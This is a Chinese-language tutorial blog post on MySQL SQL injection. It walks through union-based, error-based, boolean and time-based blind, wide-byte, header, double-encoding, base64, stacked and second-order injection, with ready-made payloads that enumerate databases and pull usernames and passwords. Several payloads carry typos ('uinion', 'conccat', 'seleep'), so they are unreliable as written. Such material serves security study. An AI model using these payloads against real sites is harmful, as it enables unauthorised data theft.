sql注入mysql篇
Posted 黑色天马安全小队
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入mysql篇相关的知识,希望对你有一定的参考价值。
SQL注入
__0x01
♛Sql注入原理
Sql注入顾名思义是没有对用户输入的参数进行过滤导致测试者可以将一段非正常语句插入到查询语句中,由web应用带入到数据库中执行,从而读取数据库中的数据。
__0x02
♛Sql注入利用条件:
☀攻击者可以控制传入的参数。
☀参数被带入数据库中执行。
__0x03
♛注入点判断
数字型:
例:原后台文件的查询语句为:
Select * from tables where name =
当输入为3时的查询语句为:
Select * from tables where name = 3
输入加入特殊字符例如单双引号就会报错:
Select * from tables where name = 3’————》error
将单引号替换为 3 and 56 = 56
此时语句变为:
Select * from tables where name = 3 and 56 = 56#
Ps:#(--+也是注释的作用)作用是注释,将后边的代码注释掉避免报错
此时等式 恒成立,页面显示正常,存在数字型的注入
字符型:
例:原后台文件的查询语句为:
Select * from tables where name = ''
当输入为3时的查询语句为:
Select * from tables where name = '3'
输入加入特殊字符例如单双引号就会报错:
Select * from tables where name = '3'’————》error
此时多一个单引号会和后面的引号作用报错
加and 1=1#当name存在时符合代码逻辑
__0x04
♛sql注入方式
--mysql篇--
☀union联合注入
Ps:有时候会用一个负值或者不存在的值代替原本正常的查询值
例如 url?Id=1 uinion select.......
这个payload只有一个显示位,就是显示id=1的正常界面,即使union查询执行了,结果也会因为id=1的占位问题导致没有回显,这时就要使id等于一个不存在的空值,使union得以正常回显
常用函数:
♪Concat():将多个字符串拼接成一个字符串
Select concat('h','s','t','m')
+>hstm
♪Concat_ws():将多个字符串拼接成一个字符串,可以加连接符
Select concat('_','h','s','t','m')
+>h_s_t_m
♪Group_concat():将多行结果连接为一组
骚操:group_concat(username,'_',password)from users
“_”用于连接查询出来的用户名以及密码结果
此时从users表查询出来的结果就为
Username1_password1,
Username2_password2,
Username3_password3,
♪Limit 函数
Select * from users limit 0,1 从users表中第1行开始取1行数据
Limit 0,2从users表中第1行开始取2行数据
Limit 1,2从users表中第2行开始取2行数据
注入流程:
Order by猜列数
例如有5列
Order by 1到5都不会报错
Order by 6 会报错
以此来判断有几列
之后用union selsect 1,2,3,4,5来判断有几个数据回显点
例如1和2回显
此时就可以修改为
Union select version(),database(),3,4,5来查看版本信息,以及当前使用的数据库
查询所有数据库:
Union select group_concat(schema_name) from information_schema.schemata,2,3,4,5#
查询所有数据表:
Union select group_concat(table_name) from information_schema.tables where table_schema = 刚刚查询的数据库,2,3,4,5#
Union select group_concat(column_name) from information_schema.columns where table_name = 刚刚查询的表名 and table_schema = 表属于的数据库名,2,3,4,5#
Union select 列名 from 刚才查询的表名,2,3,4,5#
☀报错注入
&&&&Xpath报错注入&&&&
☽Extractvalue(arg1,arg2)
接收两个参数arg1:xml文档,arg2:xpath语句
条件:mysql5.1版本以上
Payload:and extractvalue(1,concat(0x7e,select user(),0x7e))
返回结果:XPATH SYNTAX ERROR `root@localhost~`
☽updatexml(arg1,arg2,arg3)
Arg1为xml文档对象的名称;arg2为xpath格式的字符串;arg3位string格式替换查找到符合条件的数据
条件:mysql5.1.5及以上版本
Payload:and updatexml(1,conccat(0x7e,(select user()),0x7e),1)
返回结果:XPATH syntax error:`~root@loaclhost~`
Ps:XPATH报错注入的使用条件是数据库符合版本条件
Extractvaluehe和updatexml有32位长度限制
&&&&其他常用报错注入方式&&&&
☽列名重复报错
条件:name_const()函数在5.0低版本可以使用5.1以上就不支持了
Name_const(name,value)用来产生一个结果集合列时,name_const()促使该列使用给定名称
Payload:and select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;
☽整形溢出报错
条件:mysql5.5.5以及上版本
Exp是以e为底的指数函数,由于数字太大会产生溢出,该函数会在参数大于709时溢出,产生报错
Payload:and exp(~(select * from(select user())a))
☽几何报错注入
条件:高版本mysql无法得到数据
相关函数:geometrycollection(),multiloint(),polygon(),mutipolygon(),linestring(),multilinestring()
函数对参数要求是形如(1 2 ,3 3 ,2 2 1)这样的几何数据,不满足会报错
Payload:select multipoint((select * from(select * from (select * from(select version())a)b)c))
◤◤◤以extractvalue()函数为例子:
查看数据库版本:
xxxxxx=1’and extractvalue(1,concat(0x7e,(select version()),0x7e))#
查看当前数据库名字:
xxxxxxx=1’and extractvalue(1,concat(0x7e,(select database()),0x7e))#
查看当前数据库有多少表:
xxxxxxx=1’and extractvalue(1,concat(0x7e,(select count(table_name)from information_schema.tables where table_schema=database()),0x7e))#
*************************
假如查询出有两个数据表
有两个方法查询两个表名:
1:
第一个数据表:
xxxxxxx=1’and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e))#
第二个数据表:
xxxxxxx=1’and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 1,1),0x7e))#
2:显示在一列:
xxxxxxx=1’and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
**************************
假如查询出的表名为users查询users表中的列名
xxxxxxx=1’and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()and table_name=”users” limit 0,1),0x7e))#
查询数据(假定列名为username,数据库名为mysql,表名为tables):
Xxxxxxx=1’and extractvalue(1,concat(0x7e,select group_concat(username) from mysql.tables,0x7e))
☀布尔盲注
Sql注入的时候仅显示true或者flase
利用构造好的语句进行true或者flase进行数据猜解
****相关函数:****
截取字符串函数++++++++++++
Substr(),substring(),mid()
用来截取字段中的一部分
例如substr(arg1,int1,int2)arg1为选取的字符串,int1为开始位置,int2为截取的长度
从int1开始截取int2个字符,与limit不同的是第一个字符的序号为1并非是0
长度函数++++++++++
Length(arg1)
获取字符串arg1的长度
转码函数+++++++++++
Ascii(str)
将str转换为ascii码
Ps:ascii码是什么东东请自行百度,简单理解为换一种编码格式
条件判断函数+++++++++
If(arg1,arg2,arg3)
Arg1为判断条件,arg2为判断为真的结果,arg3为判断为假的结果
****注入过程:****
Ps:普及一下二分法:
假定真实值为24,那么可以这样猜测
先划定一个范围进行测试例如 大于1小于100
那是否小于50呢 对的
那是否小于25呢 对的
那是否小于13呢 不对 那就是大于13
是否大于20呢 对的
是否大于23呢 对的 那大于23小于25的值就是24了
获取数据库长度:
假定数据库名为mysql
And (length(database()))>4# 有回显说明当前数据库名长度大于4
And (length(database()))>5# 无回显说明当前数据库名长度小于或者等于5
And (length(database()))=5# 有回显说明当前数据库名长度等于5
获取当前数据库名第一个字母的ascii码值
And ascii(substr(database(),1,1))>100# 有回显第一个字母的ascii值大于100
And ascii(substr(database(),1,1))<110# 有回显第一个字母的ascii值小于110
And ascii(substr(database(),1,1))=109# 有回显,对照ascii码表测得第一个字母109=m
之后替换substr()函数的取值最后测得数据库名为mysql
获取mysql数据库中的表名的个数:
And (select count(*) from information_schema.tables where table_schema=”mysql”)>n#
通过改变n的值来测试mysql数据库中有几张数据表此时假定为两张数据表table1和table2
获取第一个数据表名的长度:
And (select length(table_name) from information_schema.tables where table_schema = “mysql” limit 0,1)=6#
获取第一个数据库表名的第一个字符的ascii码:
Ascii((Substr((select table_name from information_schema.tables where table_schema = “mysql” limit y,1)x,1)))<100#
此时的y为0代表第一行的数据,X为1代表取获取的字符串第一个字符。测出第一个字母为t,通过改变x获取第一个表名为table1,通过改y值获取其他数据表名的值为table2
之后获取列名数据都是相同的操作,至此就不继续了
☀时间盲注
***相关函数***
---睡眠函数---
sleep(int1)
Int1为中断时间,单位是秒
---多次执行函数---
Benchmark(arg1,arg2)
arg1代表的是执行的次数,arg2代表的是执行的函数
页面延迟x秒
//////以sleep()为例进行延时盲注://///
获取数据库名长度:
And if((length(database())=5),seleep(5),1)#
页面睡眠了5秒,数据库名长度为5
获取数据库名:
And If((ascii(substr(database(),n,1))=m),sleep(5),1)#
改变n和m的值获取数据库名的字符,假定数据库名为mysql
获取数据库表名个数
And if((select count(*) from information_schema.tables where table_schema=”mysql”)>n,sleep(5),1)#
假定为两个数据表table1和table2
获取第一个数据表名长度:
and if((select length(table_name) from information_schema.tables where table_schema=”mysql” limit x,1)=6,sleep(5),1)#
通过改变x的值获取两个数据表名的长度
获取数据表的每一个字符:
and if(Ascii(Substr((select table_name from information_schema.tables where table_schema=”mysql” limit x,1),y,1))=n,sleep(5),1)#
通过改变x值改变选取的第几行的表名
通过该表y值改变选取的当前字段的第几个字符
通过改变n值来判断当前字符的ascii码的值等于多少
最后获取表名
之后的操作跟如上大致相同
☀Mysql注入进阶篇
☀宽字节注入
宽字节是指两个字节宽度的编码技术
***原因:***
mysql的一个特性,在使用gbk编码时,误认为两个字符是一个汉字
***GBK编码原理:***
一个字符占用一个字节,一个汉字占用两个字节,设置”set character_set_client=gbk”通常倒是编码转换的注入问题,尤其是php链接mysql
取值范围:第一个字节129-254,第二个字节64-254
遇到连续的两个字节符合取值范围的会解析为一个汉字
***用途***
网页后台过滤了输入的参数,例如输入’会被转义成/’这样的话’仅仅作为内容而没有实质性的意义了
但是经过宽字节可以修改’为%df’这样一来就成为了%df%5C%27 %df和%5C都在取值范围内
就形成了汉字“連”这样一来就可以注入了
☀http头注入
Web程序代码把用户提交的http请求包的头信息未做过滤直接带入到数据库中
***原因***
Web程序代码接受的http请求包的头信息和数据库有交互
代码中使用了超全局变量$_SERVER[]
***可能存在注入的点***
HTTP_HOST
HTTP_USER_AGEBT
HTTP_ACCEPT
HTTP_COOKIE
SERVER_ADDR
REMOTE_ADDR
HTTP-X-FORWARDED-FOR
SCRIPT_FILENAME
☀二次编码注入
Url采用十六进制编码,非ascii字符无法显示需要进行编码
原本的输入:
Id=1%27
$_GET[‘id’]>>>>>1’
经过addslashes(1’)>>>1\’
二次编码后的输入:
Id = 1%25%27此处将原来的%也进行了编码
$_GET[‘id’]>>>1%27
Addslashes(1%27)>>>>1’此时可以进行诸如
☀base64注入
网络传输数据时,数据并不都是可见字符,传输室可能会传输错误
Base64编码解决吧不可见字符全部编码为可见字符,降低传输时出现错误的可能性
***原理:***
针对传递参数被base64加密后的注入点进行注入,绕过一些waf的检测
注入方法:
先将原本参数进行解密,结合之前的注入方法进行加密,再作为参数进行诸如
☀堆叠注入
再sql语句中;表示一天语句的结束,亦可以在;后加新的语句进行执行
多用于sqlserver数据库
***堆叠和联合查询区别***
联合可以执行的语句有限
堆叠查询可以试试任意的语句
***Mysql利用条件***
可能受到api或者数据库引擎不支持的限制
Msqli_multi_query支持
Mysql_query不支持
☀二次注入
二次注入是指易储存的用户输入的数据被读取后,再次进入到sql查询语句中导致的注入
***原理:***
有些网站对用户输入的恶意数据中的特殊字符进行了转义,但存入数据库时又返还了原来的恶意数据,当web程序调用并带入数据库中进行查询时就发生了二次注入
例如:
一个网站的管理员为admin
新建一个用户名为admin’#的账号
当被调用时,假如在操作改密码,登录的是admin’#web后台代码实则修改的为admin的密码,这样就完成了二次注入的过程
Ps:纯手工编写,请尊重作者的原创,转载或者复制请标明出处,谢谢您的配合
以上是关于sql注入mysql篇的主要内容,如果未能解决你的问题,请参考以下文章